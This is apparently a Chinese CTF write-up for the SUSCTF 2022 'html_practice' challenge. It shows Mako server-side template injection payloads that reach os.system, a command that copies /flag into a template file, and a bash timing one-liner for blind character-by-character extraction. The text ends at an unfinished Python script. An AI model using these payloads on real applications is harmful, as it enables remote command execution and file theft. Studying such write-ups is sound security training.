sus2021-html_practice
susctf2022-html_practice
尝试各种渲染
1 | { } {{ }} {% %} % % |
发现能成功渲染的是Mako框架的
1 | % for a in (1,2,3): |
解法一,执行命令
主输入框过滤太多,侧信道,转化为用get参数来执行命令
1 | % for a in (self.module.cache.util.os.system(name),2,3): |
参数提交
1 | ?name=cat /flag > ./template/flag.html |
再访问,但再访问时候要记得加上get参数name=,因为之前渲染的时候,也是加了的,去掉的话会报error,毕竟他路由规则就这么写的
关于为什么不出网,收不到dnslog,因为docker是被阉割的环境
因此执行命令后访问:
1 | /view/flag.html?name= |
解法二,盲注:
如果执行成功,就是显示123,否则,显示多个123,就是错误码的个数是多少个
1 | % for i in range(0,self.module.runtime.util.os.system(set(pageargs.values()).pop())): |
用bash语句进行盲注
1 | if [ $(printf "%d" "'$(cat /flag|cut -c {})") -eq {} ];then sleep 3;fi |
把flag用cut -c一位一位取出来,格式化成%d打印出来,然后和可见ascii用-eq逐一比较,这里后面两个{}{}是格式化python的,%d是格式化bash的,cut -c是一位一位取,-eq是equal
1 | import requests |